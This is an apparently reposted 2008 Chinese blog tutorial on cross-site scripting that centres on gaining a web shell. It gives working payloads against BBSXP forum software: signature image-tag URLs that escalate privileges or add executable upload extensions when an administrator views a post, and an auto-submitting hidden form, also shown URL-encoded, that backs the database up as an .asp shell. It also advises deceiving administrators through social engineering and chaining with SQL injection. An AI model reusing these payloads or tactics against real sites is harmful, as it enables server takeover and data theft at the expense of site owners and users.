2008年1月7日

詳解XSS攻擊

註:以下文章非本人撰寫為中國大陸網路轉載文章,,並經本人整理。

來源:賽迪網技術社區  最新的駭客技術:詳解XSS跨站腳本攻擊

作者:Wendy

##CONTINUE##

一、什麼是XSS攻擊

XSS又叫CSS(Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意用戶的特殊目的。XSS屬於被動式的攻擊,因為其被動且不好利用,所以許多人常呼略其危害性。而本文主要講的是利用XSS得到目標伺服器的shell。技術雖然是老技術,但是其思路希望對大家有幫助。

如何尋找XSS漏洞:

就個人而言,我把XSS攻擊分成兩類,一類是來自內部的攻擊,主要指的是利用程式自身的漏洞,構造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。另一類則是來來自外部的攻擊,主要指的自己構造XSS跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當我們要滲透一個站點,我們自己構造一個有跨站漏洞的網頁,然後構造跨站語句,通過結合其他技術,如社會工程學等,欺騙目標伺服器的管理員打開。

然後利用下面的技術得到一個shell.

如何利用:

傳統的跨站利用方式一般都是攻擊者先構造一個跨站網頁,然後在另一空間裏放一個收集cookie的頁面,接著結合其他技術讓用戶打開跨站頁面以盜取用戶的cookie,以便進一步的攻擊。個人認為這種方式太過於落後,對於弊端大家可能都知道,因為即便你收集到了cookie你也未必能進一步滲透進去,多數的cookie裏面的密碼都是經過加密的,如果想要cookie欺騙的話,同樣也要受到其他的條件的限約。而本文提出的另一種思路,則從一定程度上解決上述的問題。對於個人而言,比較成熟的方法是通過跨站構造一個表單,表單的內容則為利用程式的備份功能或者加管理員等功能得到一個高許可權。下面我將詳細的介紹這種技術。

二、來自內部的跨站攻擊

尋找跨站漏洞:

如果有代碼的話比較好辦,我們主要看代碼裏對用戶輸入的地方和變數有沒有做長度和對”<”,”>”,”;”,”’”等字符是否做過濾。還有要注意的是對於標簽的閉合,像測試QQ群跨站漏洞的時候,你在標題處輸入 ,代碼是不會被執行的,因為在源代碼裏,有其他的標簽未閉合,如少了一個,這個時候,你只要閉合一個,代碼就會執行,如:你在標題處輸入 ,這樣就可以彈出一個test的框。

如何利用:

我先以BBSXP為例,過程已做成動畫,詳情可見光碟中的動畫。我舉BBSXP中其中兩個比較好用的跨站漏洞點為例。

a.先註冊一個普通用戶,我這裡註冊的用戶是linzi.然後我們在個人簽名裏寫入:

[img]http://127.0.0.1/bbsxp/admin_user.asp? menu=userok&username=linzi&membercode=5&userlife=1&posttopic=3& money=9&postrevert=0&savemoney=0&deltopic=1&reg; time=2005-9-1+1%3A1%3A1&experience=9&country=%D6%D0%B9%FA&& Submit=+%B8%FC+%D0%C2+[/img]

b.然後發個貼子,可以結合其他技術欺騙管理員瀏覽發的貼子。

c.因為是測試,所以我們以管理員身份登陸,然後打開貼子,我們會發現,linzi已經變成了社區區長工,如圖一所示

除此之外我們只要在個人簽名裏輸入

[img]http://127.0.0.1/bbsxp/admin_setup.asp? menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6& OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720& MaxFile=102400&UpFileGenre=gif|jpg|asp%20|rar[/img]

同樣發個貼子等,只要管理員打開了,就會加了一個擴展名為asp (有空格)的上傳擴展,這個時候,你只要上傳一個newmm.asp (有空格)就可以得到一個shell.

上面的攻擊多多少少有點局限性,雖然可以得到shell,但是隱蔽性不太好,因為簽名處受到了長度的限制,不能超過255個字符。我們可以結合flash跨站實現更為隱蔽的攻擊,對於flash木馬的製作,下面見哥們豐初的介紹。

再利用如下:

修改一下個人頭像的url,輸入代碼如下:

admin_setup.asp? menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6& OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720& MaxFile=102400&UpFileGenre=gif|jpg|php|rar

再接著欺騙管理員打開你的資料或者瀏覽你的貼子,當管理員打開後,會在後臺自動加個php擴展名的後輟,因為bbsxp在個人頭像url裏過濾了空格,%,所以我們只能加個不包括空格的其他擴展,當然你也可以加個shtml的擴展,有了它你就可以用來查看源代碼,然後進一步攻擊。

三、來自外部的跨站攻擊

有的時候,當我們對於目標程式找不到可以利用的跨站點,這個時候我們可以利用可以從外部入手,利用我們要拿下的是它的論談,論談的安全性做的很好,但其留言板卻存在跨站漏洞,這個時候我們可以在留言板裏寫入跨站語句,跨站語句為以表單的方式向論談提交提升許可權的語句,如上面的bbsxp加asp 擴展的語句。當然我們可利用後臺的備份功能直接得到一個shell。

例:先上傳一個文件linzi.txt,內容如下:

<body onload="javascript:document.forms[0].submit()"> <form action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"> <input value="database/bbsxp.mdb" name="yl" > <input value="database/shit.asp" name="bf" ></body></html>

上面的代碼是把論談的數據庫備份為shit.asp,留言板存在跨站點如下:

http://127.0.0.1/bbsxp/page2.asp?username=

我們構造備份跨站語句如下:

http://127.0.0.1/bbsxp/page2.asp?username= %3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72 %69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D %2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69 %6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F %62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D %65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F %73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74 %61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65 %3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22 %64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61 %6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D %6C%3E

或者構造跨站語句,利用iframe打開一個0大小的linzi.txt。當管理員打開後,會自動備份得到一個shell.

四、XSS與其他技術的結合

從上面的實例,我們可以知道,如何欺騙管理打開是一個很重要的步驟,對於欺騙打開,除了社會工程學外,我們可以結合其他的技術,如sql injection.當我們滲透一個網站之時,主站mssql注入漏洞,許可權為public,這個時候我們利用update構造跨站語句,如用iframe打開一個上面的備份得到shell的跨站語句等,同樣,我們可以在社會工程學時,利用QQ的其他跨站漏洞等等。

總是對於欺騙也是一門藝術,具體怎麼利用,大家就發揮自己的想像力吧!

 

相關連結:

XSS測試語法大全

跨網站指令碼(XSS)攻擊(3/5)

面對XSS的使用者自保方法(3/5)

網站掛馬語法